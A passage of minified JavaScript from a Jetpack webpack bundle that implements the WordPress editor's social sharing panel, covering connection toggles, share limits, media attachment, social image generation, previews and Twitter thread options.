u=window.JP_CONNECTION_INITIAL_STATE;u||console.error("Jetpack Connection package: Initial state is missing. Check documentation to see how to use the Connection composer package to set up the initial state."),l.Z.mayBeInit(c.Z,{__experimentalUseThunks:!0,reducer:o.Z,actions:r.ZP,selectors:s.Z,resolvers:i.Z,controls:a.Z,initialState:u||{}})},74356:function(e,t,n){"use strict";n.d(t,{$S:function(){return s.Z},Nh:function(){return c.Z},i$:function(){return i.Z},iS:function(){return r.ZP},mJ:function(){return o.Z},oL:function(){return l.Z},pD:function(){return a.Z}});n(77771),n(4277),n(49021),n(95788);var r=n(68407),a=(n(63609),n(8454)),o=n(74140),i=n(54005),s=(n(35676),n(8714)),l=(n(19649),n(37568)),c=(n(48751),n(14085));n(45579),n(91474),n(86419)},85761:function(e,t,n){"use strict";var r=n(3396),a=n(69307),o=n(25162),i=n.n(o);const s=e=>{const{id:t,serviceName:n,label:o,profilePicture:i}=e,[s,l]=(0,a.useState)(!!i),c=(0,a.useCallback)((()=>l(!1)),[]);return React.createElement("label",{htmlFor:t,className:"jetpack-publicize-connection-label"},React.createElement("div",{className:s?"components-connection-icon__picture":""},s&&React.createElement("img",{src:i,alt:o,onError:c}),React.createElement(r.av,{serviceName:n,className:"jetpack-publicize-gutenberg-social-icon"})),React.createElement("span",{className:"jetpack-publicize-connection-label-copy"},o))};s.propTypes={id:i().string.isRequired,serviceName:i().string,label:i().string,profilePicture:i().string},t.Z=s},24479:function(e,t,n){"use strict";var r=n(55609),a=n(65235),o=n.n(a),i=n(25162),s=n.n(i),l=n(85761);const c=e=>{const{className:t,checked:n,id:a,disabled:i,onChange:s,serviceName:c,label:u,profilePicture:d}=e,p=o()("components-connection-toggle",{"is-not-checked":!n,"is-disabled":i});return React.createElement("div",{className:p},React.createElement(l.Z,{id:a,serviceName:c,label:u,profilePicture:d}),React.createElement(r.FormToggle,{id:a,className:t,checked:n,onChange:s,disabled:i}))};c.propTypes={className:s().string,checked:s().bool,id:s().string.isRequired,disabled:s().bool,onChange:s().func,serviceName:s().string,label:s().string,profilePicture:s().string},t.Z=c},49021:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(55609),i=n(94333),s=n(9818),l=n(69307),c=n(65736);const __=c.__;class u extends l.Component{constructor(){super(...arguments),a()(this,"refreshConnectionClick",(e=>{const{href:t,title:n}=e.target;e.preventDefault();const r=window.open(t,n,""),a=window.setInterval((()=>{!1!==r.closed&&(window.clearInterval(a),this.props.refreshConnections())}),500)}))}componentDidMount(){this.props.refreshConnections()}renderRefreshableConnections(){const{failedConnections:e}=this.props,t=e.filter((e=>e.can_refresh));return t.length?React.createElement(o.Notice,{className:"jetpack-publicize-notice",isDismissible:!1,status:"error"},React.createElement("p",null,__("Before you hit Publish, please refresh the following connection(s) to make sure we can share your post:","jetpack")),t.map((e=>React.createElement(o.Button,{href:e.refresh_url,isSmall:!0,key:e.id,onClick:this.refreshConnectionClick,title:e.refresh_text},e.refresh_text)))):null}renderNonRefreshableConnections(){const{failedConnections:e}=this.props,t=e.filter((e=>!e.can_refresh));return t.length?t.map((e=>React.createElement(o.Notice,{className:"jetpack-publicize-notice",isDismissible:!1,status:"error"},React.createElement("p",null,e.test_message)))):null}render(){return React.createElement(l.Fragment,null,this.renderRefreshableConnections(),this.renderNonRefreshableConnections())}}t.Z=(0,i.compose)([(0,s.withSelect)((e=>({failedConnections:e("jetpack/publicize").getFailedConnections()}))),(0,s.withDispatch)((e=>({refreshConnections:e("jetpack/publicize").refreshConnectionTestResults})))])(u)},4277:function(e,t,n){"use strict";var r=n(90017),a=n.n(r),o=n(13419),i=n(55609),s=n(9818),l=n(69307),c=n(65736),u=n(92819),d=n(24479),p=n(28161),m=n(91853);const __=c.__;class h extends l.Component{constructor(){super(...arguments),a()(this,"maybeDisplayLinkedInNotice",(()=>this.connectionNeedsReauth()&&React.createElement(i.Notice,{className:p.Z["publicize-notice"],isDismissible:!1,status:"error"},React.createElement("p",null,__("Your LinkedIn connection needs to be reauthenticated to continue working – head to Sharing to take care of it.","jetpack")),React.createElement(i.ExternalLink,{href:`https://wordpress.com/marketing/connections/${(0,o.lQ)()}`},__("Go to Sharing settings","jetpack"))))),a()(this,"connectionNeedsReauth",(()=>(0,u.includes)(this.props.mustReauthConnections,this.props.name))),a()(this,"onConnectionChange",(()=>{const{id:e}=this.props;this.props.toggleConnection(e)}))}connectionIsFailing(){const{failedConnections:e,name:t}=this.props;return e.some((e=>e.service_name===t))}render(){const{disabled:e,enabled:t,id:n,label:r,name:a,profilePicture:o}=this.props,i="connection-"+a+"-"+n,s=a.replace("_","-"),l=React.createElement(d.Z,{id:i,className:m.Z["connection-toggle"],checked:t,onChange:this.onConnectionChange,disabled:e||this.connectionIsFailing()||this.connectionNeedsReauth(),serviceName:s,label:r,profilePicture:o});return React.createElement("li",null,this.maybeDisplayLinkedInNotice(),React.createElement("div",{className:m.Z["connection-container"]},l))}}t.Z=(0,s.withSelect)((e=>({failedConnections:e("jetpack/publicize").getFailedConnections(),mustReauthConnections:e("jetpack/publicize").getMustReauthConnections()})))(h)},95788:function(e,t,n){"use strict";n.d(t,{Z:function(){return v}});var r=n(6895),a=n(13419),o=n(55609),i=n(9818),s=n(69307),l=n(65736),c=n(75263),u=n(37568),d=n(48751),p=n(4277),m=n(29753),h=n(71961),f=n(62578),g=n(69709),b=n(75631);const _n=l._n,__=l.__;function v(e){let{isPublicizeEnabled:t,isPublicizeDisabledBySitePlan:n,numberOfSharesRemaining:v=null,isEnhancedPublishingEnabled:k=!1,isSocialImageGeneratorEnabled:y=!1,connectionsAdminUrl:E,adminUrl:w}=e;const{connections:_,toggleById:C,hasConnections:S,enabledConnections:j}=(0,u.Z)(),{message:x,updateMessage:P,maxLength:L}=(0,d.Z)(),{isEnabled:T}=(0,c.Z)(),N=y&&T,A=n?o.Disabled:s.Fragment,R=_.filter((e=>!1===e.is_healthy)),I=null!==v&&v<=j.length,{isEditedPostDirty:M}=(0,i.useSelect)("core/editor"),{autosave:B}=(0,i.useDispatch)("core/editor"),Z=(0,s.useCallback)((async e=>{const t=e.target.getAttribute("target");M()&&!t&&(e.preventDefault(),await B(),window.location.href=e.target.href),t&&(e.preventDefault(),window.open(e.target.href,t,"noreferrer"))}),[B,M]);return React.createElement(A,null,S&&React.createElement(React.Fragment,null,null!==v&&React.createElement(o.PanelRow,null,React.createElement(f.Z,{type:v<_.length?"warning":"default"},React.createElement(s.Fragment,null,(0,s.createInterpolateElement)((0,l.sprintf)(/* translators: %d is the number of shares remaining, upgradeLink is the link to upgrade to a different plan */
_n("You have %d share remaining in the next 30 days. <upgradeLink>Upgrade now</upgradeLink> to share more.","You have %d shares remaining in the next 30 days. <upgradeLink>Upgrade now</upgradeLink> to share more.",v,"jetpack"),v),{upgradeLink:React.createElement("a",{className:b.Z["upgrade-link"],href:(0,r.Z)("jetpack-social-basic-plan-block-editor",{site:(0,a.lQ)(),query:"redirect_to="+encodeURIComponent(window.location.href)}),onClick:Z})}),React.createElement("br",null),(0,s.createInterpolateElement)(/* translators: %d is the number of shares remaining, moreLink is the link to find out more information about the plan */
__("<moreLink>More about Jetpack Social</moreLink>.","jetpack"),{moreLink:React.createElement("a",{className:b.Z["more-link"],href:(0,r.Z)("jetpack-social-block-editor-more-info",{site:(0,a.lQ)(),...w?{query:"redirect_to="+encodeURIComponent(w)}:{}}),target:"_blank",rel:"noreferrer",onClick:Z})})))),R.length>0&&React.createElement(f.Z,{type:"error"},(0,s.createInterpolateElement)(_n("One of your social connections is broken. Reconnect them on the <fixLink>connection management</fixLink> page.","Some of your social connections are broken. Reconnect them on the <fixLink>connection management</fixLink> page.",R.length,"jetpack"),{fixLink:React.createElement(o.ExternalLink,{href:E})})),React.createElement(o.PanelRow,null,React.createElement("ul",{className:b.Z["connections-list"]},_.map((e=>{let{display_name:r,enabled:a,id:o,service_name:i,toggleable:s,profile_picture:l,is_healthy:c}=e;return React.createElement(p.Z,{disabled:!t||!a&&s&&I||!1===c,enabled:a&&!n&&!1!==c,key:o,id:o,label:r,name:i,toggleConnection:C,profilePicture:l})}))))),!n&&React.createElement(s.Fragment,null,React.createElement(g.Z,null),t&&_.some((e=>e.enabled))&&React.createElement(React.Fragment,null,React.createElement(h.Z,{maxLength:L,onChange:P,message:x})),k&&React.createElement(m.Z,{disabled:N,notice:N?__("It is not possible to add an image or video when Social Image Generator is enabled.","jetpack"):null})))}},9888:function(e,t,n){"use strict";n.d(t,{ZP:function(){return k}});var r=n(6895),a=n(88275),o=n(86989),i=n.n(o),s=n(55609),l=n(9818),c=n(12238),u=n(65736),d=n(65235),p=n.n(d),m=n(99196),h=n.n(m),f=n(75263),g=n(58487);const __=u.__,b="featured-image-still-loading",v=(e,t,n,r)=>{if("none"===e||"custom"===e&&!t||"featured"===(null!=e?e:"featured")&&!n)return null;const a=r("custom"===e?t:n);return a?(e=>e?.media_details?.sizes?.large?.source_url||e?.source_url)(a):b};function k(){const[e,t]=(0,m.useState)(null),[n,o]=(0,m.useState)(!0),{customText:u,imageType:d,imageId:k,template:y}=(0,f.Z)(),{title:E,imageUrl:w}=(0,l.useSelect)((e=>{const t=e(c.store).getEditedPostAttribute("featured_media");return{title:e(c.store).getEditedPostAttribute("title"),imageUrl:v(d,k,t,e("core").getMedia)}})),_=(0,m.useMemo)((()=>u||E||" "),[u,E]),C=(0,m.useRef)(_),S=(0,m.useRef)(e);(0,m.useEffect)((()=>{S.current=e})),(0,m.useEffect)((()=>{const e=setTimeout((async()=>{if(o(!0),w===b)return;const e=await i()({path:"/jetpack/v4/social-image-generator/generate-preview-token",method:"POST",data:{text:_,image_url:w,template:y}}),n=(0,r.Z)("sigenerate",{query:`t=${e}`});n!==S.current?t(n):o(!1)}),_===C.current?0:1500);return()=>{clearTimeout(e),C.current=_}}),[_,y,w]);const j=(0,m.useCallback)((()=>{o(!1)}),[]);return h().createElement(a.ZP,null,h().createElement(s.BaseControl,{label:__("Preview","jetpack")},h().createElement("div",{className:g.Z.container},h().createElement("img",{className:p()({[g.Z.hidden]:n}),src:e,alt:__("Generated preview","jetpack"),onLoad:j}),n&&h().createElement(s.Spinner,{"data-testid":"spinner"}))))}},88649:function(e,t,n){"use strict";n.d(t,{Z:function(){return h}});var r=n(90526),a=n(88275),o=n(52175),i=n(55609),s=n(69307),l=n(65736),c=n(61074),u=n(6163),d=n(46791),p=n(13858),m=n(69339);const __=l.__;function h(e){let{buttonLabel:t,subTitle:n,mediaId:l=null,mediaDetails:h={},onChange:f,allowedMediaTypes:g}=e;const{mediaData:{width:b,height:v,sourceUrl:k}={},metaData:{mime:y,length:E=null}={}}=h,w=!(k&&b&&v&&y),_=(0,s.useCallback)((()=>f(null)),[f]),C=(0,s.useCallback)((e=>{f(e)}),[f]),S=(0,s.useCallback)((e=>{const t=(0,d.Wv)(y);return t&&!E?null:React.createElement("div",{className:m.Z["preview-wrapper"]},React.createElement("button",{className:m.Z.remove,onClick:_},React.createElement(i.VisuallyHidden,null,__("Remove media","jetpack")),React.createElement(c.Z,{icon:u.Z})),React.createElement("button",{className:m.Z.preview,onClick:e},t?React.createElement(p.Z,{sourceUrl:k,mime:y,duration:E}):React.createElement(i.ResponsiveWrapper,{naturalWidth:b,naturalHeight:v,isInline:!0},React.createElement("img",{src:k,alt:""}))))}),[v,E,y,_,k,b]),j=(0,s.useCallback)((e=>React.createElement("div",{className:m.Z.container},l?React.createElement(React.Fragment,null,React.createElement("button",{className:m.Z["remove-loading"],onClick:_},React.createElement(i.VisuallyHidden,null,__("Remove media","jetpack")),React.createElement(c.Z,{icon:u.Z})),React.createElement(i.Spinner,{"data-testid":"spinner"})):React.createElement(React.Fragment,null,React.createElement(r.Z,{variant:"secondary",size:"small",className:m.Z.preview,onClick:e},t),n&&React.createElement("span",null,n)))),[t,l,_,n]),x=(0,s.useCallback)((e=>{let{open:t}=e;return l&&!w?S(t):j(t)}),[l,w,S,j]);return React.createElement(a.ZP,null,React.createElement(o.MediaUploadCheck,null,React.createElement(o.MediaUpload,{title:t,onSelect:C,allowedTypes:g,render:x,value:l})))}},29753:function(e,t,n){"use strict";n.d(t,{Z:function(){return b}});var r=n(88275),a=n(6895),o=n(55609),i=n(69307),s=n(65736),l=n(99196),c=n(88219),u=n(98811),d=n(46791),p=n(37568),m=n(88649),h=n(53513),f=n(45811);const __=s.__,g=__("Choose Media","jetpack");function b(e){let{disabled:t=!1,notice:n=""}=e;const[b,v]=(0,l.useState)(null),{attachedMedia:k,updateAttachedMedia:y}=(0,c.Z)(),{enabledConnections:E}=(0,p.Z)(),[w]=(0,u.Z)(k[0]?.id),{maxImageSize:_,getValidationError:C,allowedMediaTypes:S}=(0,d.ZP)(E),j={[d.qL]:__("The selected media type is not accepted by these platforms.","jetpack"),[d.X1]:(0,s.sprintf)(/* translators: placeholder is the maximum image size in MB */
__("This media is over %d MB and cannot be used for these platforms.","jetpack"),_),[d.L7]:__("The selected video is too long for these platforms.","jetpack"),[d.GQ]:__("The selected video is too short for these platforms.","jetpack")};(0,l.useEffect)((()=>{if(!w.metaData||!k.length)return;const e=C(w.metaData);e&&(v(e),y([]))}),[k,y,C,w]);const x=(0,i.useCallback)((e=>{if(e){const{id:t,url:n}=e;y([{id:t,url:n}])}else y([]);v(null)}),[y]),P=(0,i.useCallback)((()=>v(null)),[]),L=t?o.Disabled:l.Fragment,T=t?{className:f.Z.disabled,"data-testid":"disabled"}:{};return React.createElement(r.ZP,null,React.createElement(o.BaseControl,{label:__("Media","jetpack"),className:f.Z.wrapper},n?React.createElement(o.Notice,{className:f.Z.notice,isDismissible:!1,status:"warning"},React.createElement("p",{"data-testid":"notice"},n)):React.createElement("p",{className:f.Z.subtitle},__("Choose a visual to accompany your post.","jetpack")),React.createElement(L,T,React.createElement(m.Z,{buttonLabel:g,subTitle:__("Add an image or video","jetpack"),mediaId:k[0]?.id,mediaDetails:w,onChange:x,allowedMediaTypes:S}),React.createElement(o.ExternalLink,{href:(0,a.Z)("jetpack-social-media-support-information")},__("Learn photo and video best practices","jetpack"))),b&&React.createElement(o.Notice,{className:f.Z.notice,isDismissible:!0,onDismiss:P,status:"warning"},React.createElement("p",null,j[b]),React.createElement(o.ExternalLink,{href:(0,a.Z)("jetpack-social-media-support-information")},__("Troubleshooting tips","jetpack")))),React.createElement(h.Z,null))}},71961:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(55609),a=n(65736);const __=a.__,_n=a._n;function o(e){let{message:t="",onChange:n,disabled:o,maxLength:i}=e;const s=i-t.length;return React.createElement(r.TextareaControl,{value:t,label:__("Message","jetpack"),onChange:n,disabled:o,maxLength:i,placeholder:__("Write a message for your audience here.","jetpack"),rows:4,help:(0,a.sprintf)(/* translators: placeholder is a number. */
_n("%d character remaining","%d characters remaining",s,"jetpack"),s)})}},62578:function(e,t,n){"use strict";var r=n(65235),a=n.n(r),o=n(25162),i=n.n(o),s=n(82283);const l=e=>{let{children:t,type:n="default"}=e;const r=a()(s.Z.notice,s.Z[`notice--${n}`]);return React.createElement("div",{className:r},t)};l.propTypes={children:i().node.isRequired,type:i().oneOf(["default","warning","error"])},t.Z=l},8714:function(e,t,n){"use strict";var r=n(55609),a=n(9818),o=n(12238),i=n(69307),s=n(65736),l=n(14085),c=n(86419),u=n(37568),d=n(49021),p=n(95788),m=n(91474),h=n(63609);const __=s.__;t.Z=e=>{let{prePublish:t,enableTweetStorm:n,children:s}=e;const{refresh:f,hasConnections:g,hasEnabledConnections:b}=(0,u.Z)(),v=(0,a.useSelect)((e=>e(o.store).isCurrentPostPublished()),[]),{isPublicizeEnabled:k,hidePublicizeFeature:y,isPublicizeDisabledBySitePlan:E,togglePublicizeFeature:w,isShareLimitEnabled:_,numberOfSharesRemaining:C,hasPaidPlan:S,connectionsAdminUrl:j,adminUrl:x,isEnhancedPublishingEnabled:P,isSocialImageGeneratorEnabled:L}=(0,l.Z)();(0,c.M1)((function(){b&&f()}),[b,f]);const T=t?i.Fragment:r.PanelBody,N=t?{}:{title:__("Share this post","jetpack")};return React.createElement(T,N,s,!y&&React.createElement(i.Fragment,null,!v&&React.createElement(r.PanelRow,null,React.createElement(r.ToggleControl,{className:"jetpack-publicize-toggle",label:k?__("Share when publishing","jetpack"):__("Sharing is disabled","jetpack",0),onChange:w,checked:k,disabled:!g})),React.createElement(d.Z,null),React.createElement(p.Z,{isPublicizeEnabled:k,isPublicizeDisabledBySitePlan:E,connectionsAdminUrl:j,numberOfSharesRemaining:_&&!S?C:null,isEnhancedPublishingEnabled:P,isSocialImageGeneratorEnabled:L,adminUrl:x}),n&&k&&React.createElement(h.Z,{prePublish:t}),React.createElement(m.o,null)))}},19649:function(e,t,n){"use strict";n(13419),n(65736),n(99196),n(2097)},69709:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(55609),a=n(65736),o=n(92819),i=n(90105),s=n(14085),l=n(37568),c=n(78619);const __=a.__,u=2e3;function d(){const{refresh:e}=(0,l.Z)(),t=(0,o.debounce)((function(t){t&&e()}),u),{connectionsAdminUrl:n}=(0,s.Z)();return React.createElement(i.Z,{onChange:t},React.createElement("div",{className:c.Z["add-connection-wrapper"]},React.createElement(r.ExternalLink,{href:n,target:"_blank"},__("Connect an account","jetpack"))))}},91474:function(e,t,n){"use strict";n.d(t,{o:function(){return h}});var r=n(55609),a=n(9818),o=n(12238),i=n(69307),s=n(65736),l=n(53961),c=n(14085),u=n(45579),d=n(37568);const __=s.__;function p(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:__("Unable to share the Post","jetpack");const{createErrorNotice:t}=(0,a.dispatch)(l.store);t(e,{id:"publicize-post-share-message"})}function m(){const{hasEnabledConnections:e}=(0,d.Z)(),{isPublicizeEnabled:t}=(0,c.Z)(),{isFetching:n,isError:s,isSuccess:m,doPublicize:h}=(0,u.Z)(),f=(0,a.useSelect)((e=>e(o.store).isCurrentPostPublished()),[]);(0,i.useEffect)((()=>{if(!n)return s?p():void(m&&function(){const{createSuccessNotice:e}=(0,a.dispatch)(l.store);e(__("Post shared","jetpack"),{id:"publicize-post-share-message",type:"snackbar"})}())}),[n,s,m]);const g=!t||!e||!f||n,b=(0,i.useCallback)((()=>{if(!f)return p(__("You must publish your post before you can share it.","jetpack"));(0,a.dispatch)(l.store).removeNotice("publicize-post-share-message"),h()}),[h,f]);return React.createElement(r.Button,{variant:"secondary",onClick:b,disabled:g,isBusy:n},__("Share post","jetpack"))}function h(){const{isRePublicizeUpgradableViaUpsell:e}=(0,c.Z)();return(0,a.useSelect)((e=>e(o.store).isCurrentPostPublished()),[])?e?null:React.createElement(r.PanelRow,null,React.createElement(m,null)):null}},54005:function(e,t,n){"use strict";var r=n(55609),a=n(69307),o=n(65736),i=n(75263),s=n(98811),l=n(9888),c=n(88649),u=n(35676);const __=o.__,d=["image/jpeg","image/png"],p=__("Choose Image","jetpack");t.Z=e=>{let{prePublish:t=!1}=e;const n=t?a.Fragment:r.PanelBody,o=t?{}:{title:__("Social Image Generator","jetpack")},{isEnabled:m,setIsEnabled:h,customText:f,setCustomText:g,imageType:b,setImageType:v,imageId:k,setImageId:y,template:E,setTemplate:w}=(0,i.Z)(),[_]=(0,s.Z)(k),C=(0,a.useCallback)((e=>{y(e?.id)}),[y]),S=(0,a.useCallback)((e=>{let{open:t}=e;return React.createElement(r.Button,{variant:"primary",onClick:t},__("Change Template","jetpack"))}),[]),j=()=>React.createElement(React.Fragment,null,React.createElement(r.SelectControl,{label:__("Image Type","jetpack"),value:b||"featured",options:[{label:__("Featured Image","jetpack"),value:"featured"},{label:__("Custom Image","jetpack"),value:"custom"},{label:__("No Image","jetpack"),value:"none"}],onChange:v}),"custom"===b&&React.createElement(c.Z,{buttonLabel:p,subTitle:__("Add a custom image","jetpack"),mediaId:k,mediaDetails:_,onChange:C,allowedMediaTypes:d}));return React.createElement(n,o,React.createElement(r.ToggleControl,{label:__("Enable Social Image","jetpack"),help:m?"":__("Social Image is disabled for this post.","jetpack"),checked:m,onChange:h}),m&&React.createElement(React.Fragment,null,React.createElement("hr",null),React.createElement(l.ZP,null),React.createElement("hr",null),React.createElement(r.TextControl,{value:f||"",onChange:g,label:__("Custom Text","jetpack"),help:__("By default the post title is used for the image. You can use this field to set your own text.","jetpack")}),React.createElement("hr",null),React.createElement(j,null),React.createElement("hr",null),React.createElement(u.Z,{onSelect:w,value:E,render:S})))}},35676:function(e,t,n){"use strict";var r=n(88275),a=n(55609),o=n(69307),i=n(65736),s=n(65235),l=n.n(s),c=n(99196),u=n.n(c),d=n(26597),p=n(56983);const __=i.__;t.Z=e=>{let{onSelect:t,render:n,value:s=null}=e;const[c,m]=(0,o.useState)(!1),[h,f]=(0,o.useState)(s),g=(0,o.useCallback)((()=>m(!0)),[m]),b=(0,o.useCallback)((()=>{f(s),m(!1)}),[s,f,m]),v=(0,o.useCallback)((()=>{t(h),m(!1)}),[t,m,h]),k=(0,o.useMemo)((()=>p.Z.map((e=>({...e,onSelect:()=>f(e.name)})))),[f]);return u().createElement(r.ZP,{targetDom:document.body},n({open:g}),c&&u().createElement(a.Modal,{onRequestClose:b,title:__("Pick a Template","jetpack")},u().createElement("div",{className:d.Z.templates},k.map((e=>u().createElement("button",{onClick:e.onSelect,key:e.name,className:l()(d.Z.template,{[d.Z["template--active"]]:e.name===h})},u().createElement("img",{src:e.image,alt:e.label}),u().createElement("span",{className:"screen-reader-text"},/* translators: %s is the name of the template */
(0,i.sprintf)(__("Pick the %s template","jetpack"),e.label)))))),u().createElement("div",{className:d.Z.footer},u().createElement(a.Button,{variant:"tertiary",onClick:b},__("Cancel","jetpack")),u().createElement(a.Button,{variant:"primary",onClick:v},__("Save","jetpack")))))}},56983:function(e,t,n){"use strict";var r=n(16581),a=n(68398),o=n(74064);const i=[{name:"highway",label:"Highway",image:n(15733)},{name:"dois",label:"Dois",image:r},{name:"edge",label:"Edge",image:a},{name:"fullscreen",label:"Fullscreen",image:o}];t.Z=i},53513:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(88275),a=n(55609),o=n(65736),i=n(99196),s=n(88219),l=n(89696);const __=o.__;function c(){const{shouldUploadAttachedMedia:e,updateShouldUploadAttachedMedia:t}=(0,s.Z)(),n=(0,i.useCallback)((e=>{t(e)}),[t]);return React.createElement(r.ZP,null,React.createElement(a.CheckboxControl,{className:l.Z.checkbox,checked:e,onChange:n,label:__("Share as a social post","jetpack"),help:__("By default, the image and text appear on social media as a link preview. To optimize engagement, share as a social post.","jetpack")}))}},53966:function(e,t,n){"use strict";n.d(t,{z:function(){return c}});var r=n(82674),a=n.n(r),o=n(27143),i=n(79988),s=n(50149),l=n(65736);const __=l.__,c=[{title:__("Google Search","jetpack"),icon:"google",name:"google",preview:o.Z},{title:__("Facebook","jetpack"),icon:"facebook",name:"facebook",preview:e=>React.createElement(i.Z,a()({type:"article"},e))},{title:__("Twitter","jetpack"),icon:"twitter",name:"twitter",preview:e=>React.createElement(s.Z,e)}]},8454:function(e,t,n){"use strict";var r=n(3396),a=n(55609),o=n(9818),i=n(69307),s=n(65736),l=n(53966),c=n(25399);const __=s.__;t.Z=(0,o.withSelect)((e=>{const{getMedia:t,getUser:n}=e("core"),{getCurrentPost:r,getEditedPostAttribute:a}=e("core/editor"),{getTweetTemplate:o,getTweetStorm:i,getShareMessage:s,isTweetStorm:l}=e("jetpack/publicize"),u=a("featured_media"),d=a("author"),p=d&&n(d),m={post:r(),title:a("meta")?.jetpack_seo_html_title||a("title"),description:a("meta")?.advanced_seo_description||a("excerpt")||a("content").split("\x3c!--more")[0]||__("Visit the post for more.","jetpack"),url:a("link"),author:p?.name,image:!!u&&(0,c.i)(t(u))};let h=[];return l()?h=i():h.push({...o(),text:s(),card:{...m,type:m.image?"summary_large_image":"summary"}}),{...m,tweets:h,isTweetStorm:l()}}))((function(e){let{onClose:t,image:n,title:o,description:s,url:c,author:u,isTweetStorm:d,tweets:p}=e;const m=l.z.map((e=>({...e,title:React.createElement(i.Fragment,null,React.createElement(r.av,{serviceName:e.icon}),e.title)})));return React.createElement(a.Modal,{onRequestClose:t,title:__("Social Previews","jetpack"),className:"jetpack-social-previews__modal"},React.createElement(a.TabPanel,{className:"jetpack-social-previews__modal-previews",tabs:m,initialTabName:d?"twitter":null,orientation:"vertical"},(e=>React.createElement("div",null,React.createElement(e.preview,{title:o,description:s,url:c,author:u,image:n,isTweetStorm:d,tweets:p})))))}))},74140:function(e,t,n){"use strict";var r=n(3396),a=n(55609),o=n(65736),i=n(53966);const __=o.__;t.Z=e=>{let{openModal:t}=e;return React.createElement("div",{className:"jetpack-social-previews__panel"},React.createElement("p",null,__("Preview what this will look like on social networks and Google search.","jetpack")),React.createElement("div",{className:"jetpack-gutenberg-social-icons"},i.z.map((e=>React.createElement(r.av,{key:e.icon,serviceName:e.icon,className:"jetpack-social-previews__icon"})))),React.createElement(a.Button,{variant:"secondary",onClick:t,label:__("Open Social Previews","jetpack")},__("Preview","jetpack")))}},25399:function(e,t,n){"use strict";function r(e){return e?e.media_details?.sizes?.large?.source_url||e.source_url:null}n.d(t,{i:function(){return r}})},68407:function(e,t,n){"use strict";n.d(t,{H8:function(){return l},nE:function(){return s}});var r=n(94333),a=n(9818),o=n(92694),i=n(36797);const s={"core/gallery":{contentAttributes:["images"]},"core/heading":{contentAttributes:["content"]},"core/image":{contentAttributes:["alt","url"]},"core/list":{contentAttributes:["values"]},"core/paragraph":{contentAttributes:["content"]},"core/quote":{contentAttributes:["value","citation"]},"core/separator":{contentAttributes:[]},"core/spacer":{contentAttributes:[]},"core/verse":{contentAttributes:["content"]},"core/video":{contentAttributes:["src"]},"core/embed":{contentAttributes:["url"]},"jetpack/gif":{contentAttributes:["giphyUrl"]}},l=["core/column","core/columns","core/group"];(0,o.addFilter)("blocks.registerBlockType","jetpack/publishing-tweetstorms",(e=>{const{edit:t}=e;return{...e,edit:e=>React.createElement(i.Z,{ChildEdit:t,childProps:e})}}));t.ZP=(0,r.compose)([(0,a.withSelect)((e=>({isTweetStorm:e("jetpack/publicize").isTweetStorm(),isTyping:e("core/block-editor").isTyping()})))])((e=>{let{isTweetStorm:t,isTyping:n}=e;return t?document.body.classList.add("jetpack-tweetstorm"):document.body.classList.remove("jetpack-tweetstorm"),t&&n?document.body.classList.add("jetpack-tweetstorm-is-typing"):document.body.classList.remove("jetpack-tweetstorm-is-typing"),null}))},63609:function(e,t,n){"use strict";var r=n(55609),a=n(94333),o=n(9818),i=n(69307),s=n(65736);n(42998);const __=s.__;t.Z=(0,a.compose)([(0,o.withSelect)((e=>{const{isTweetStorm:t,getTweetStorm:n}=e("jetpack/publicize");return{connections:e("core/editor").getEditedPostAttribute("jetpack_publicize_connections"),isTweetStorm:t(),tweetStormLength:n().length}})),(0,o.withDispatch)((e=>({setTweetstorm:t=>{e("core/editor").editPost({meta:{jetpack_is_tweetstorm:t}}),t?e("jetpack/publicize").refreshTweets():(e("core/annotations").__experimentalRemoveAnnotationsBySource("jetpack-tweetstorm"),e("core/annotations").__experimentalRemoveAnnotationsBySource("jetpack-tweetstorm-line-break"))}})))])((e=>{let{connections:t,isTweetStorm:n,tweetStormLength:a,setTweetstorm:o,prePublish:s}=e;const l=(0,i.useCallback)((e=>{o("tweetstorm"===e)}),[o]);if(!t?.some((e=>"twitter"===e.service_name&&e.enabled)))return null;const c=(e,t)=>React.createElement(React.Fragment,null,React.createElement("strong",null,e),React.createElement("br",null),t),u=[];return a>=102?u.push({id:"jetpack-publicize-twitter-tweetstorm-too-long",status:"error",content:__("Only the first 100 tweets of this post will be published in the Twitter thread.","jetpack"),isDismissible:!1}):a>=22?u.push({id:"jetpack-publicize-twitter-tweetstorm-a-bit-long",status:"warning",content:__("This post will create a Twitter thread more than 20 tweets long.","jetpack"),isDismissible:!1}):s&&a<=2&&u.push({id:"jetpack-publicize-twitter-tweetstorm-too-short",status:"warning",content:__("None of the content in this post could be transformed into tweets, it may be better to share as a single tweet.","jetpack"),isDismissible:!1}),React.createElement(r.PanelRow,null,React.createElement(r.RadioControl,{label:__("Twitter settings","jetpack"),selected:n?"tweetstorm":"single",options:[{label:c(__("Single Tweet","jetpack"),__("Share a link to this post to Twitter.","jetpack")),value:"single"},{label:c(__("Twitter Thread","jetpack"),__("Share the content of this post as a Twitter thread.","jetpack")),value:"tweetstorm"}],onChange:l}),n&&React.createElement(r.NoticeList,{className:"jetpack-publicize-twitter-options__notices",notices:u}))}))},36797:function(e,t,n){"use strict";var r=n(3396),a=n(55609),o=n(94333),i=n(9818),s=n(69307),l=n(92819);n(42998);class c extends s.Component{componentDidMount(){const{isTweetStorm:e,updateTweets:t}=this.props;e&&t()}componentDidUpdate(e){const{boundaries:t,childProps:n,currentAnnotations:r,isTweetStorm:a,updateAnnotations:o,updateTweets:i,supportedBlockType:s,contentAttributesChanged:c}=this.props;a&&s&&(c(e.childProps,n)&&i(),r.length===t.filter((e=>["normal","line-break"].includes(e.type))).length&&(0,l.isEqual)(e.boundaries,t)||o())}render(){const{ChildEdit:e,childProps:t,isTweetStorm:n,isSelectedTweetBoundary:o,boundaryStylesSelectors:i,popoverWarnings:s}=this.props;return n?React.createElement(React.Fragment,null,React.createElement(e,t),o&&React.createElement("div",{className:"jetpack-publicize-twitter__tweet-divider"},React.createElement("div",{className:"jetpack-publicize-twitter__tweet-divider-icon"},React.createElement(r.av,{serviceName:"twitter"})),s.length>0&&React.createElement(a.Popover,{className:"jetpack-publicize-twitter__tweet-divider-popover",focusOnMount:!1,position:"bottom center"},React.createElement("ol",null,s.map(((e,t)=>React.createElement("li",{key:`jetpack-publicize-twitter__tweet-divider-popover-warning-${t}`},e)))))),i&&React.createElement("style",{type:"text/css"},i.map((e=>`${e}::after 